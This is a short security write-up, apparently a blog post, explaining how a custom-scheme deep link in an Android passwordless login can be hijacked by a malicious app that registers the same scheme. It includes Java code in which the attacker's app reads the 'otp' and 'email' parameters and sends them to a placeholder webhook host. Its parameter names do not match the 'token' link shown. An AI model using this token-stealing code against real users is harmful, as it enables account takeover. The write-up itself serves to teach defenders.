June 16, 2026
Deep Link Hijacking leads to Account Takeover
Deep links are widely used in mobile applications to improve the user experience by opening specific pages directly inside the app…
Rawan Saeed
1 min read
Deep links are widely used in mobile applications to improve the user experience by opening specific pages directly inside the app. However, when they are not implemented securely, they can become a dangerous attack surface.
In this write-up, we'll see how an insecure deep link implementation on example.com allowed an attacker to hijack an authentication token, ultimately leading to account takeover.
Understanding Deep Links
On Android, an application can register a deep link using an intent-filter with the BROWSABLE category:
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="example"
android:host="auth"/>
</intent-filter><intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="example"
android:host="auth"/>
</intent-filter>With this configuration, Android will open the application whenever a URL matching the following format is triggered:
example://auth?token=test123example://auth?token=test123Vulnerability Description
The application provided a password-less login mechanism. When a user entered their email address, the server sent an email containing a deep link with an authentication token:
example://auth?token=<AUTH_TOKEN>example://auth?token=<AUTH_TOKEN>When the user clicked the link, the application extracted the token and authenticated the user automatically.
The issue was that the application used a custom scheme deep link example:// instead of an Android App Link https:// and did not verify that it was the only application capable of handling this scheme.
An attacker could simply create a malicious application and register the same deep link:
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="example"
android:host="auth"/>
</intent-filter><intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="example"
android:host="auth"/>
</intent-filter>After installing the malicious application, Android detected that two applications could handle the same deep link. Therefore, when the victim clicked the login link, Android displayed an app chooser asking which application should open the link.
If the victim selected the attacker's application, the authentication token was delivered directly to the malicious app.
Stealing the Authentication Token
The attacker's application simply extracted the token from the incoming intent and exfiltrated it to an attacker-controlled server:
String otp=getIntent().getData().getQueryParameter("otp");
String email=getIntent().getData().getQueryParameter("email");
if(otp != null)
{
String url= "https://yourwebhooksite/?otp="+otp+"&email="+email;
Intent sendData=new Intent(Intent.ACTION_VIEW, Uri.parse(url));
sendData.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(sendData);
}String otp=getIntent().getData().getQueryParameter("otp");
String email=getIntent().getData().getQueryParameter("email");
if(otp != null)
{
String url= "https://yourwebhooksite/?otp="+otp+"&email="+email;
Intent sendData=new Intent(Intent.ACTION_VIEW, Uri.parse(url));
sendData.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(sendData);
}Once the attacker obtained the authentication token, they could use it to authenticate as the victim and gain full access to the victim's account, resulting in Account Takeover.
Remediation
- Use verified Android App Links
https://instead of custom schemes.